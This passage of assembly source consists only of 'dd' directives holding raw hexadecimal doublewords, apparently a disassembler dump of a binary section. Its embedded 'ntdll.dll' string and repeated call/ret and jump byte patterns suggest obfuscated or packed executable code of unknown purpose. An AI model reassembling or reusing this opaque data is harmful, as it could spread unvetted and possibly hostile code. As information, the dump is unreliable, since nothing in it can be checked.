		dd 0CFD36D33h, 2878340h, 84490000h, 3441E71h, 47E4AEDCh
		dd 5705B60Eh, 16C91A17h, 1CBF2197h, 321C896Eh, 0BC5FD51Ch
		dd 14A9ED9Bh, 0BF351320h, 3F606922h, 0C9F72A65h, 148FCFFFh
		dd 990F1320h, 8C9F42FCh, 69986FB2h, 5B9B828Ch, 0A856F948h
		dd 0E0B792E6h, 9CD572E8h, 5731D444h, 83B6F01Dh,	0FB298B55h
		dd 0B9679431h, 0EA4CA4D8h, 536A980Eh, 3AE88BFBh, 0EFA2C65Bh
		dd 743AE89Fh, 7AE0B2F6h, 25FFA204h, 86AA69EBh, 68942A79h
		dd 4A896306h, 751B6E1Fh, 98ABF832h, 346E54FBh, 0D6B4D001h
		dd 231B78F9h, 0A3D67h, 133A7A00h, 0A5D410F6h, 3665A288h
		dd 0C5F83319h, 5984C2A8h, 10AA383Ch, 0A48AA7D2h, 391F3C63h
		dd 0CCB2CFFAh, 75425F92h, 26A0E694h, 0D52E1326h, 5786C2F7h
		dd 5F8185B4h, 9130CBD8h, 9BC9F835h, 717C34D1h, 0E5E05697h
		dd 8B94683Ah, 45F396F8h, 16C9B601h, 417A178Dh, 0D63E7FE9h
		dd 0C9B66628h, 90F26816h, 93369862h, 33537AE5h,	0A0DBB51Ch
		dd 8E263F6Dh, 0FEC41F5Bh, 0B5973496h, 85C29C3Fh, 6B8CB956h
		dd 8B285391h, 9A3D64A5h, 0B55285C0h, 0C0E7280Eh, 0B9237B92h
		dd 59235178h, 0B5A654F7h, 0C119DD1Dh, 0D987A84Bh, 16CF3395h
		dd 0D906A319h, 7A97BEFFh, 892C5394h, 174570AFh,	0D84E71FEh
		dd 8EF00FACh, 3B7539F1h, 1369D708h, 0C0B86F6Eh,	96904h
		dd 3F66A600h, 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h
		dd 347E6468h, 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h
		dd 27440AB8h, 0F14A1326h, 0AC5A7B13h, 16C91AEAh, 0CB472FF4h
		dd 0BCE7DCE6h, 79F9BD5Ah, 16C93B3Dh, 884F269Dh,	51235273h
		dd 0DBE9E4B0h, 4F1B5B8Bh, 2DA316C9h, 95FF5790h,	90D12D54h
		dd 0F713B69h, 72ADBE6Ch, 33A91C32h, 4A79B690h, 2C9CF42Dh
		dd 0C60CDB89h, 2A4B19C6h, 0CBF63A7Ch, 0B14EC416h, 0DCB659CFh
		dd 25526FA2h, 0AFDD104Bh, 0CB317296h, 0B517CB65h, 0C5F83218h
		dd 72D62C94h, 4703FB6Fh, 8BEh, 7794BBFBh, 9265591h, 9AB7E623h
		dd 294679B4h, 0BDDA0543h, 539129B9h, 0E4250B28h, 7BBAA0BDh
		dd 134D3350h, 15F6C3E0h, 26272767h, 704EA713h, 0C91AD4EEh
		dd 0CE0DE716h, 113F6AA9h, 0EDB7E547h, 0FD306A50h, 0DF4FA7E0h
		dd 5CE18E3Ch, 0B72D1C32h, 0D0FB3A14h, 638ECDB3h, 82A7E6C0h
		dd 1FE91746h, 0AC6820BDh, 856h,	0A7176FECh, 2EF15604h
		dd 863D1C32h, 200696D8h, 0A9D81413h, 0E359B17Bh, 27485381h
		dd 0B1DF124Dh, 6F7B7E7h, 87F71320h, 27F11F46h, 546E28C5h
		dd 0AE132006h, 4F134174h, 0A7B5E312h, 46ADF184h, 35DBD0A5h
		dd 2B4526CBh, 130h, 0ABDE18F2h,	83C2E00Eh, 48ABF909h, 0F489C8B4h
		dd 0F1F1A205h, 0FF2D8F45h, 0A5D3FA3Bh, 4674A7E1h, 0E11E4382h
		dd 58BA84B2h, 0EB16553Bh, 0E391B2BDh, 16C9B9A3h, 0DF18B52Bh
		dd 4F70138Bh, 68ADE520h, 88259547h, 0C9B8F0CEh,	25C83E16h
		dd 0A7033F6h, 9C39F89Bh, 0EC8900E4h, 314E79B8h,	0B3E10C4Bh
		dd 0C924EF1Bh, 0E98C0316h, 62107CBBh, 16C9241Ch, 0ADCA2CA2h
		dd 5A82074h, 22BFEE2Bh,	240F47F5h, 198F16C9h, 0BFE627EBh
		dd 547BBCA2h, 0FB286226h, 8DDF90BFh, 0A896808Fh, 9276A406h
		dd 94A5A1Bh, 701E3FE2h,	16C9FB2Eh, 521EFB57h, 28809BC0h
		dd 886E15B2h, 0DBF22047h, 0C2701383h, 1C3128F5h, 6A95D4AEh
		dd 5875EBCDh, 0DC0A3172h, 0AB871C5h, 1320E244h,	0A1E5934Ah
		dd 2D1320E2h, 50F355B7h, 6C093C76h, 0A441E3Fh, 3A803AD7h
		dd 0BC1320E2h, 8FC9A346h, 2307BF5Ch, 9ADBC9ACh,	8295673h
		dd 20E2145Ah, 87249A13h, 963960A1h, 621080BCh, 1320E21Ch
		dd 9CCA2CA2h, 667D35D2h, 4DFB9E0Eh, 19DBEDB4h, 593F5CD2h
		dd 0EED4F118h, 396784AFh, 0EAAC5A7Bh, 0F416C91Ah, 50A8E17Eh
		dd 1AADF19Fh, 0BB3116C9h, 1F08B659h, 1F1C321Eh,	96707BA9h
		dd 0C4F33059h, 0A3DFC562h, 6F295774h, 4370AA1Ah, 0E0AAD807h
		dd 56EE1C7Eh, 16C91A6Ch, 0D28BEA8Bh, 5FC2CCA3h,	0E07D46DFh
		dd 0CF275F01h, 0FA164540h, 1FD053F5h, 0ABDA1672h, 0F516B37Dh
		dd 3Ah,	886C2BBh, 7FA4F249h, 8DBB1D21h,	0C975B1F5h, 89AA1916h
		dd 0C9759BDBh, 10AD2316h, 0CE0A9ADBh, 0E722FC9Fh, 0B67017B4h
		dd 16C896CCh, 78B38D30h, 0B04D1745h, 0FFFF92D2h, 88C212FFh
		dd 1A206614h, 38AE16C9h, 0E4F032D6h, 0A41A6Fh, 17C9D301h
		dd 2943CFCBh, 40h, 631A6FEFh, 0ED1D4C89h, 16C91AA9h, 0B95DBF35h
		dd 1A89CD7Bh, 9F1516C9h, 2DFFCDFCh, 5E773E4Eh, 597B93C1h
		dd 3F805A7Bh, 1AA6E818h, 0E82416C9h, 4EEB61B9h,	59FD2C68h
		dd 34CA379Dh, 0A000000h, 3F4A4C7Bh, 24EB7C9Bh, 0C08AB8E7h
		dd 3388C15Eh, 0CD7B19BDh, 16C91A89h, 7B04A80Ch,	1742805Ah
		dd 86C24C7Ah, 52F51C5Dh, 0C91AE2A4h, 1476EC16h,	0C2379D70h
		dd 90285685h, 16C91ACEh, 24633DACh, 4E275CF9h, 0FBA91956h
		dd 16C91ABBh, 7CD4033Fh, 0CD87A406h, 16C91DDFh,	0F3EA0559h
		dd 7B45FFFFh, 0DC3863A1h, 0F1D7749Bh, 306986B5h, 17C568D8h
		dd 1C3219AEh, 0B44C7AF0h, 13201B8Eh, 812F50E9h,	13201B3Dh
		dd 0E81351C1h, 0C1B4E986h, 26D226EAh, 0C3A45h, 0CA000000h
		dd 6, 0C5F4310Bh, 176FFA28h, 315604A7h,	7D1C322Dh, 0F4CED907h
		dd 4E5987BAh, 2007DEA0h, 86AE013h, 16446BACh, 8DC9AF4Ch
		dd 0B287415Eh, 0B9132007h, 7A4EA98h, 20D11320h,	40FE0FADh
		dd 31CE449Ch, 0AAE70C4Bh, 0FD1CA82Ch, 8EF0DBAAh, 17349660h
		dd 99C7F231h, 70ADE997h, 87FA1341h, 0E4F1C63Eh,	0D0FF3B97h
		dd 9ADB2AA2h, 52237604h, 0AFEE1352h, 0F11F4E8Ah, 0C063C527h
		dd 4A78ABE6h, 563CE380h, 0E109A1Ch, 49A54B71h, 1544E7h
		dd 5F92CC0Eh, 96F9E6AEh, 39734BF9h, 0C90AE206h,	6FB074A2h
		dd 0B5E3124Eh, 8A5B89EBh, 0EF1688EDh, 0C3FDA7CEh, 0D913ED90h
		dd 475009A6h, 0B5AE5818h, 6B7FDD1h, 0F08EC13Fh,	0DD0BA883h
		dd 4FCB07C9h, 0BB1941h,	6FDF0000h, 2600A31Bh, 2260BCE7h
		dd 62FFC9F7h, 1D4C7B34h, 21B5F0B2h, 6F1D4AE7h, 16C9F452h
		dd 0CAA447ABh, 67315F8Eh, 73A1CC0Bh, 7BDE0CA9h,	5E017359h
		dd 1C8CB12Fh, 9C39939Bh, 5588C26Eh, 6FE4F0B1h, 100A41Ah
		dd 0CB17C9D3h, 352943CFh, 0EF000000h, 0B5631A6Fh, 16C91AF1h
		dd 812587FDh, 1A89CD7Bh, 0A51516C9h, 440E3C67h,	2A653FE2h
		dd 62FFC9F7h, 7B597B34h, 9B3863A1h, 0A64A79B5h,	30CA379Dh
		dd 0A000000h, 0EC434C7Bh, 16EC76A2h, 75EB4079h,	0AC5A7BD1h
		dd 16C91AEAh
		dd 99CD7EF4h, 0AD470DBh, 50FE2BC8h, 16C9710Eh, 7B7F2387h
		dd 5786C259h, 0CA379DB3h, 0FFFFFF3Ch, 5588C20Ah, 0A3E391B2h
		dd 2B16C91Ah, 0EC4E81BBh, 5D8C974Fh, 5566F6h, 0C3A94664h
		dd 0D9B35689h, 2AD16E9Dh, 862999F1h, 32BE5FD8h,	7DBA941Ch
		dd 0BAE81754h, 96608EF0h, 73A117F9h, 2091E7DBh,	0AEE11B13h
		dd 0D0A76780h, 0C74DC176h, 0D0FE316Bh, 9E0075ECh, 0CCDF9637h
		dd 45267904h, 3C1Ch, 176FE200h,	4D5604A7h, 6E1C3229h, 0F32F5894h
		dd 6ACC96C4h, 417BEBCDh, 0F9BD6B0Eh, 513200Bh, 67FF2D8Fh
		dd 13200B5Bh, 0E37AFB9Ch, 6D9BCE09h, 792706A3h,	774526C6h
		dd 0E9h, 5588C23Dh, 0FA256327h,	9BCE08CCh, 9341626Dh, 16C91AD3h
		dd 0E2C865DBh, 9E5875A8h, 16C91510h, 4204B2D3h,	4C16C91Eh
		dd 195339D6h, 0F01443E6h, 810145FDh, 0B6E38A27h, 3CA7E795h
		dd 0B12716C9h, 0C1F42E14h, 0B4247C93h, 33CA6311h, 0A4141C32h
		dd 34D73968h, 51EE1D5Ah, 0AF1971AAh, 4F19476Eh,	0B19C4AEDh
		dd 0F919C6B2h, 0C806E083h, 0C3A65A3h, 633DE042h, 95C0FE27h
		dd 0D3B9D67h, 0B2E00B49h, 35E386E8h, 16CB8071h,	0C36A077Dh
		dd 567FBC96h, 0EB88EA19h, 67A2C705h, 6E99D834h,	4161DB0Ch
		dd 0B8B06F72h, 275FCh, 4B72B200h, 0DD0C482Eh, 6E9DDAC0h
		dd 0FD306B51h, 91BCFAE0h, 48727074h, 0DCC2DF0Ah, 7157749Bh
		dd 4EA0732h, 0AD7A97CAh, 5E581ECCh, 0D661326h, 62A17B2Fh
		dd 0A23F0937h, 36537EBCh, 0C6E31650h, 0A7176F98h, 0C809E304h
		dd 0CA973A1h, 32295152h, 9C3FB51Ch, 0B89CD7Bh, 9F151320h
		dd 3CD90443h, 0BD6EC84h, 80211320h, 0C6EAB6F5h,	0C1064526h
		dd 0CC000000h, 275588C2h, 57FA2563h, 1AC68836h,	52C816C9h
		dd 18F2FDB5h, 0B781AFDAh, 15D6601Ah, 1A5416C9h,	2183AEEDh
		dd 0B1E41E04h, 0A4146C83h, 11FA5301h, 0D8F91C32h, 201B642Ah
		dd 57F46A13h, 58B075h, 54DC36F5h, 0CEA8D5F2h, 6D376590h
		dd 0D53F97D0h, 233C6A99h, 86340BE1h, 0C2248673h, 4065711Fh
		dd 0C49E19C6h, 622C5A85h, 0CA6DE3C5h, 4F8DB2F0h, 5D8CC824h
		dd 0E603652Fh, 6697C200h, 6F726BF2h, 7BA9655Dh,	0B8000001h
		dd 4E345178h, 0E0C6E312h, 715774A3h, 0E60336h, 767A97C2h
		dd 0DD08466Ch, 7299DAC0h, 5306F55h, 95C802E8h, 1CCAAB78h
		dd 13265F5Ah, 0C22D0B64h, 563C5984h, 9ECCE91Ch,	275588C2h
		dd 0D9F62963h, 0E99748A0h, 16C91AA5h, 0AE51B329h, 0F2E4AE7Fh
		dd 8D5785B8h, 96D7C6DCh, 0D1ECCF9h, 0BE1C3206h,	0DA77AAE4h
		dd 1A4D88F8h, 13B15B8h,	5AFC2BCEh, 0A79BEBADh, 0CFB55CF9h
		dd 1D346295h, 91B255C5h, 0F14D78B7h, 32EC89B0h,	19DDF0BFh
		dd 0D61C4DC3h, 956F6E02h, 0E0E19Dh, 0DD1D0000h,	77B399B6h
		dd 8452B48h, 9BD6BCD9h,	27654B68h, 7DBDFFCh, 25426DABh
		dd 0BAD7FE3Fh, 4D6A95D4h, 0DDFA2D67h, 3D812F10h, 0C113265Fh
		dd 176F8A68h, 8B33B258h, 0F6589ABAh, 9C0AA553h,	0DA501C34h
		dd 7BAEE8ACh, 113E785Eh, 251C5AD0h, 8BE3EDEDh, 8031FB29h
		dd 206B4BE2h, 0C2F0520Dh, 0B4307B2Ah, 670E31CDh, 608F033Dh
		dd 947B8592h, 90D606CFh, 0C542B112h, 730E1D3Fh,	5BD129AAh
		dd 0BCF6DCF9h, 5C975B89h, 6FAC8629h, 7EBA340h, 85BFE590h
		dd 97D5AF52h, 5B1BC96Ch, 6342B197h, 0C3A950EDh,	0F41B5C89h
		dd 0F79AFCC6h, 5DC080C8h, 0FF9C16FEh, 0A20D3C47h, 0D29F091Eh
		dd 75A4E13Dh, 1CFAD8h, 7B3A0000h, 1AEAAC5Ah, 3DF416C9h
		dd 0C91ACF8Fh, 0F759CF16h, 71279846h, 78151B77h, 82C20371h
		dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h,	0BBF9BDEBh
		dd 639E6290h, 13E0230h,	0A4E0A4D2h, 81864775h, 4ECh, 242C8900h
		dd 0C581E589h, 4, 8704ED83h, 685C242Ch,	1BD9h, 57243C89h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0B951241Ch, 0BDB02FFh
		dd 5705E9C1h, 6FACA5BFh, 5FF929FAh, 5459CF89h, 81241C8Bh
		dd 4C4h, 8BA5200h, 81000000h, 9503A1C2h, 81DA0116h, 9503A1EAh
		dd 5A3A8916h, 5B2434FFh, 4C481h, 34FF0000h, 0C4835F24h
		dd 38CDE904h, 1BFFFFAh,	41FE5BFFh, 0EF46AAB8h, 50C50305h
		dd 0EE585C6h, 684705E9h, 0CF381725h, 2345B5FFh,	858D05E9h
		dd 5E939CFh, 0D88BD0FFh, 13D9858Dh, 685005E9h, 104h, 85C6D3FFh
		dd 5E90EE5h, 0F8BF6853h, 0B5FF8307h, 5E92345h, 39CF858Dh
		dd 0D0FF05E9h, 29538589h, 0BD8305EFh, 5E91EDDh,	0B840F00h
		dd 8B000000h, 0E92E459Dh, 5E905h, 0BB0000h, 68000000h
		dd 100h, 2957B58Dh, 535605EFh, 270195FFh, 0B58D05E9h, 5EF2957h
		dd 1E9F003h, 4E000000h,	0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh
		dd 6C6FFFFh, 57858D00h,	5005EF29h, 295395FFh, 0FF5805EFh
		dd 94EFEBE0h, 74928875h, 0EA4A9B14h, 38446E4Ah,	0B02AE96Ah
		dd 69C69213h, 5476D923h, 0B6446013h, 91E1B83Ah,	808AEB7Fh
		dd 0CB839914h, 22B2D634h, 6C8C770Eh, 0D0C4FA31h, 1C886F0Ah
		dd 74C5E31Eh, 5E1E30Bh,	0ABB5B733h, 4F37C95Eh, 1800F470h
		dd 4AE67340h, 2058EA4Ah, 0AE87Dh, 0CE500000h, 1AC6B7Bh
		dd 0FA3A4EAEh, 0C8E0F59h, 0F000000h, 68Ah, 8F0F00h, 81000000h
		dd 6DD2C1h, 4FBEF800h, 6600001Bh, 31FFDF8Bh, 6658D48Ah
		dd 0E881D18Bh, 2BD5052Ch, 0A5C081F5h, 8B06FC98h, 76F081D6h
		dd 0F1ECF7Eh, 686h, 0D6D28100h,	501AA737h, 2840Fh, 0C5B60000h
		dd 13E9018Fh, 4A000000h, 969443B4h, 16CDAFDCh, 9E375955h
		dd 0EBE63A62h, 0E983747Fh, 18ECBF03h, 0E9491F9Fh, 0Bh
		dd 44BD7BA8h, 0D11FB13Bh, 4EFD3188h, 0FF94850Fh, 0E2B3FFFFh
		dd 0AE8h, 9BDC4200h, 0BE0F2242h, 52B73336h, 59F28B66h
		dd 38B3575Ah, 61C2815Eh, 0F800006Dh, 1B17BFh, 8E900h, 1E040000h
		dd 0A9B7C3h, 32FFE355h,	0C3806060h, 0BE9B2h, 0AE390000h
		dd 9832CB76h, 150920A1h, 586161B9h, 0B8F0Fh, 81600000h
		dd 19033DF2h, 0D3B70F6Eh, 66E88161h, 5612DF48h,	66585160h
		dd 618D3CB8h, 0E8C08159h, 66394C43h, 6FDDC981h,	22D3E881h
		dd 0DE9529Fh, 0F6000000h, 0ECA5A2F3h, 4FE57FE2h, 0ED646B53h
		dd 0CE950h, 0AA8F0000h,	7D1E96B6h, 41F6C650h, 28F8879h
		dd 83F0B70Fh, 0F6004EAh, 188Ah,	13E900h, 0A9D10000h, 0BFA1F12Ah
		dd 0D3D15803h, 61978FDAh, 0BAE0623Ch, 61D68B4Ah, 1EF81h
		dd 850F0000h, 12h, 0F87EBB66h, 2DE9h, 831DE600h, 0CCB3CFA7h
		dd 14E93F3Ch, 63000000h, 1C10042Dh, 816F880Fh, 0F3E5BB59h
		dd 28B0C25Bh, 0E9D76843h, 0FFFFFF2Ah, 90DDDB05h, 7E8C44Eh
		dd 9000000h, 33F35D67h,	40B218C2h, 2789BA5Bh, 0C3811DC6h
		dd 6D20h, 68CFB70Fh, 0
		dd 805ECF8Bh, 34FF3DE6h, 5FC38B1Eh, 15880Fh, 0F600000h
		dd 0BE9F3B7h, 8E000000h, 83F99B09h, 554417E3h, 816157BFh
		dd 21F0B3C7h, 0D2816664h, 0EF814E13h, 2DE8CFBDh, 1C4CF781h
		dd 8A0F5982h, 5, 7B9FF4B9h, 0BE85751h, 0DA000000h, 0B4118C4h
		dd 588E3749h, 8B664DF2h, 48F5AC2h, 1BE9BA33h, 800F744Dh
		dd 3, 810CD980h, 72EE84EEh, 36D28052h, 0EE80C681h, 0B70F5272h
		dd 9CFE81D6h, 0FFFFF93h, 0FFFF7985h, 108C0FFFh,	0E8000000h
		dd 7, 6B3C95Ch,	0FCD6869h, 8D5AC2B7h, 0EF4B708Dh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0CA30B62Ch, 62786264h, 8166C984h, 89A560D6h,	0E926558Dh
		dd 0F18B6605h, 80585C7h, 625805E9h, 0BA660000h,	0B5090D2Fh
		dd 5E91949h, 163D85C7h,	5E9h, 0F600000h, 685h, 0E19D8900h
		dd 0F05E91Ch, 0FF61DABFh, 0E9257DB5h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 7CA3494Fh, 0D280E80Fh, 0C595FF80h, 6A05E90Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 3ABC355h, 1665BD31h,	6A05E9h, 1E9595FFh, 0C08B05E9h
		dd 0A9CD0DEBh, 0E4C3855Eh, 4292A877h, 8D34D1B3h, 0EF4C928Dh
		dd 0DE905h, 49EB0000h, 443050D7h, 68720A0Ch, 89F9856Ch
		dd 0E926558Dh, 71BD8B05h, 6005E92Dh, 89595260h,	0E92D919Dh
		dd 9D016105h, 5E93185h,	585C761h, 0AC05E908h, 0E9000063h
		dd 0Bh,	8F17249Dh, 7662828Ah, 0C7D33537h, 0E9163D85h, 5
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0F5BA0D85h, 49E28092h, 15DDB5FFh, 6A05E9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 7C5BF5C3h, 0FA2F2A87h, 8919BFF7h, 0E9266D85h, 0C98D0105h
		dd 0FF05E905h, 0E90BC595h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 84343E0Ah
		dd 0E86B3E2Bh, 0Eh, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 0CE986E4h
		dd 77000000h, 0E90BA105h, 61C65535h, 5897241Dh,	0D852951h
		dd 5B05E932h, 95FF006Ah, 5E91E95h, 1FEBC08Bh, 0B61F2027h
		dd 9AC295F1h, 0F4AFBE1h, 361B0E56h, 90244816h, 0AA7A31AFh
		dd 5269C073h, 0EB264FF2h, 0B61B9026h, 8EAFEC33h, 64746E55h
		dd 642E6C6Ch, 88006C6Ch, 34074621h, 2EA3D25Dh, 546121h
		dd 0
		dd 0E9000000h, 693h, 0EF4E1768h, 3309E905h, 0BC68FFFAh
		dd 0E905EF4Eh, 0FFFA32FFh, 0EF4F5168h, 32F5E905h, 6B68FFFAh
		dd 0E905EF50h, 0FFFA32EBh, 0EF512868h, 32E1E905h, 0E368FFFAh
		dd 0E905EF51h, 0FFFA32D7h, 1F3C63A3h, 0B1CEFD39h, 425F8ECBh
		dd 0D1EE215Ch, 6582ADEBh, 0FB398161h, 8CCDB3D0h, 23624865h
		dd 0BBF5DBF8h, 0BD9E6B88h, 26574F0Fh, 18F64F13h, 36CAh
		dd 88C20A00h, 0E391B255h, 16C91AA3h, 80C6742Bh,	0E16C91Ah
		dd 0E5933698h, 16C91AA1h, 621AB72Dh, 0B8FB2857h, 46DD0652h
		dd 5689C3A9h, 40437F39h, 80BF16C9h, 6F0A3855h, 2A04A717h
		dd 0C892C0EBh, 0E350FE2Bh, 431C3200h, 3B079FCDh, 3C132030h
		dd 0FD1DA9Bh, 214526FDh, 21Ah, 0B4884E7h, 0F2A043B3h, 1C321C0Dh
		dd 181CD706h, 0CEA9ACEFh, 0DC0A3172h, 1D937512h, 0FDBB58EEh
		dd 3C945F1Bh, 0D90829CCh, 1EABAE5Ch, 8ACCFCF1h,	14D70E25h
		dd 26D4019Eh, 0DDF53F8Dh, 1E3563D9h, 5B356C6h, 0D81B456Eh
		dd 0C19B3EB4h, 90B15487h, 0B759CE2h, 0FAC22D7h,	15488268h
		dd 0B24C15E4h, 6E2A22ADh, 4ADh,	27446BABh, 0B9D60541h
		dd 4A6796D3h, 0D9F62964h, 6D8AB5F3h, 3417969h, 94D5BBD8h
		dd 2B6A506Dh, 0C3FDE300h, 0C5A67390h, 26545717h, 20FE5713h
		dd 661488C2h, 16C91A20h, 0A8D638AEh, 5786C39Dh,	0B92981BAh
		dd 84B6816h, 259B1C32h,	0EBE8E408h, 0D2802393h,	19DB2E2Dh
		dd 84E2F726h, 22B5459h,	0DE0D8365h, 4006B4D5h, 4E16C976h
		dd 0A6813BD8h, 0D57F65FDh, 0BC6A0D7Dh, 84AFD517h, 94ABD94Fh
		dd 7B29CC3Ch, 8141AF14h, 6B45E85Eh, 0B4E1FE31h,	42709BDAh
		dd 0BBF5DB78h, 36965788h, 0E5DDD6DCh, 40829h, 9FC60600h
		dd 31609C82h, 0C2F12E14h, 5184BFA5h, 0E5104E34h, 941EC4C8h
		dd 280E2B56h, 0BDA3C0E7h, 5036537Eh, 0F9C6E316h, 54246A18h
		dd 51AA1326h, 5588C273h, 0A3E391B2h, 2B16C91Ah,	496018B5h
		dd 0BDDE81F1h, 0C874618Eh, 97346208h, 314F84DDh, 0E98C021Ch
		dd 0AA7CE0Fh, 62D22A63h, 0C5F111BFh, 9F1519DDh,	0B5E822FCh
		dd 9C4A6B98h, 16CFCDDAh, 0EBD16EE4h, 39507EB1h,	20CE71E1h
		dd 1C34C43Fh, 541AC87Fh, 5A1326CAh, 765182E4h, 0C96984EBh
		dd 37315D1h, 31710000h,	0CB07ED0Ah, 5C997F9Ch, 0EF2A102Dh
		dd 7BB99FBCh, 0B32F3350h, 819EC907h, 16335A9Bh,	0A9C6F130h
		dd 395689C3h, 99DD8B6Ch, 25132655h, 88C2EECCh, 97D8B255h
		dd 0DF0D3876h, 0BB85B315h, 5AF71E5Fh, 0C3338BA2h, 4DEFF20h
		dd 276797CAh, 0A716C91Ah, 25DA9431h, 691C321Dh,	0CFA9D6F3h
		dd 12C6A93h, 0AA709D3h,	1B72Ch,	59936D00h, 2B227526h, 38AD9A19h
		dd 0A17B6D9Bh, 410B3960h, 0DE7BA6E5h, 70C817BAh, 45835D00h
		dd 0D13B691Ah, 13E0650Ah, 7284976h, 0C9371559h,	2D549516h
		dd 67DD35FFh, 31EF10CAh, 0B92F1C32h, 68A7818Ah,	0A8450F3Dh
		dd 0EDE094EEh, 0D3439B69h, 0F8858230h, 5D7EECE7h, 0F5D0EFAFh
		dd 7EB1EBE3h, 0B82E8650h, 20C3391Bh, 80DC0746h,	0C0781544h
		dd 0A0E694B5h, 2EE3F5D0h, 8AE21BB8h, 0AAC9771Ah, 0F0E9099Ah
		dd 0DB194680h, 56B882B0h, 3D7751F4h, 46A2D510h,	0E3ADDB0Ah
		dd 5D376481h, 0F9C3F120h, 93C765Ch, 0A409ABD8h,	4400F87Eh
		dd 259h, 0D3F01757h, 6582B1EDh,	0F613427Fh, 85A2D510h
		dd 1936619Fh, 0A7E5CD15h, 38795F7Ch, 0CF0EF411h, 67A187A4h
		dd 694A1734h, 264AFBBBh, 0CCAA0313h, 3467A17Bh,	0B99F3C06h
		dd 71E4C7Fh, 0EE9C3FAFh, 1C3208C5h, 4707B5D6h, 43132028h
		dd 0D83DB02h, 0FB188E70h, 0D5F6F9D7h, 284006B4h, 0D84E1320h
		dd 2028E6A8h, 9723E813h, 925F263Dh, 8A38DB3Dh, 132087C4h
		dd 7EB754CAh, 6513B626h, 19DB8180h, 0DBB558CEh,	17D06DA0h
		dd 29519A81h, 0C1318995h, 5797701Eh, 61D792D3h,	54C41C33h
		dd 356C03B1h, 40B6973Dh, 64A27C9Dh, 7CB69C39h, 0C462C49h
		dd 9A81A8D9h, 0D6CEE090h, 19C1Ah, 335A9A00h, 0C5F43016h
		dd 5685C2A8h, 0E5185339h, 79A4E2C8h, 308A585Ch,	0C4AAC7F2h
		dd 593F5C83h, 0ECD2EF1Ah, 95627FB2h, 4B4006B4h,	0F54E1326h
		dd 5588C217h, 48B81027h, 6FAA84A5h, 0A6D40742h,	23DD7ADCh
		dd 1C31FB7Eh, 0C7F51288h, 4A7176Fh, 345E5A56h, 0C76AE01Ch
		dd 0DD80B3EDh, 0F895C803h, 0FE316B51h, 0F161B9D0h, 122AA04Eh
		dd 0F66C19DBh, 123F7953h, 0B27CAAD1h, 947EAD50h, 3B9B5F7h
		dd 2D38C010h, 25874091h, 336188C9h, 3F25CC69h, 8DA4D205h
		dd 7422C535h, 1C32EEFFh, 94DFB1Ch, 951320E5h, 0E56E30DEh
		dd 0FA701320h, 0A319FB98h, 8ABB3972h, 0D28E8669h, 0E1h
		dd 5B789FDFh, 0ED0A3975h, 7E9BCA07h, 0D2A5D98h,	0A1BEE927h
		dd 2F6D459Dh, 0C001E704h, 57967C99h, 0EF290F2Ch, 0F1D29FBCh
		dd 264B0343h, 54328B13h, 4A7176Fh, 0C376B4E3h, 0E2B5B8C7h
		dd 20998B45h, 35561C34h, 0C1F11C5Bh, 132628FDh,	3B93BEFDh
		dd 814628C5h, 47FA37ABh, 0C5F3555Fh, 0F194C701h, 9981F5C2h
		dd 0D17D2E5Dh, 832AC756h, 8D30639Dh, 7AA2245Eh,	16E00E3Dh
		dd 51622B65h, 0B764FCB4h, 0F1CDBC9Dh, 93BEFCD6h, 0C9FE9B65h
		dd 8BBEF8ACh, 2967416Eh, 417B61FEh, 0BB3C6B0Eh,	561C0AC0h
		dd 0A3671FBCh, 43073568h, 0E6AAD807h, 6A4E7CA7h, 0A01C82F3h
		dd 0EB1A5731h, 485C194Eh, 76A5E10Eh, 51CD7E48h,	5B41B84Eh
		dd 2546E94Bh, 0A88F3777h, 0A441B742h, 0AADD17FDh, 3C07Ch
		dd 0A1000000h, 5B82C233h, 0FC2F692Dh, 0A0CB0ACEh, 466DAE72h
		dd 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h, 75A4E0A4h
		dd 89538647h, 4C381E3h,	83000000h, 0FF5304EBh, 5B042474h
		dd 5C24048Fh, 516868h, 242C8900h, 0EDD68h, 240C8900h, 4D1FB951h
		dd 895605EFh, 5EF589CEh, 4EC8159h, 89000000h, 4832424h
		dd 55590424h, 5716BD55h, 6C31137Dh, 8F5D0424h, 71810841h
		dd 7D571608h, 240C8B13h, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 8B5C240Ch, 8952242Ch, 4C281E2h, 83000000h, 148704C2h
		dd 88E95C24h, 0D7FFFA2Ch, 1AA84F34h, 0B806EF80h, 5EF52E9h
		dd 0E0FFC503h, 56D680DEh, 79EBAAB9h, 783D9357h,	4EFEAC72h
		dd 77339CD3h, 30F01FCDh, 3C1AF272h, 6A76AEE1h, 38345F63h
		dd 1AE33DBFh, 636B4355h, 49BD2038h, 4744B554h, 11C9E752h
		dd 14E8h, 4A787A00h, 7A2FAA6Eh,	47BCF338h, 0F48AF105h
		dd 297F76BAh, 8E9CFh, 7BB0000h,	5AC8A335h, 0B85E0347h
		dd 63A20AF9h, 686AC681h, 820F0000h, 5, 1032D7B8h, 19F06861h
		dd 60500000h, 5861BBB5h, 1E8BF859h, 10E9h, 3DEDE000h, 7EDF5284h
		dd 0E5D8CE2Fh, 0C31278F2h, 7CF3818Bh, 5712D5F7h, 0DC88BF66h
		dd 80EB815Ah, 0BF600EADh, 3BED872Fh, 48F1C381h,	800F4F8Ah
		dd 0
		dd 0E1DC8053h, 0EA80068Fh, 3EE83F5h, 0C34DBF60h, 0ADB96721h
		dd 611F7710h, 0FDEEB84Eh, 0E9810E6Ch, 1, 0FF9C850Fh, 0DAB8FFFFh
		dd 0EB541617h, 8, 848C9200h, 526E909h, 7A680000h, 0E905EF55h
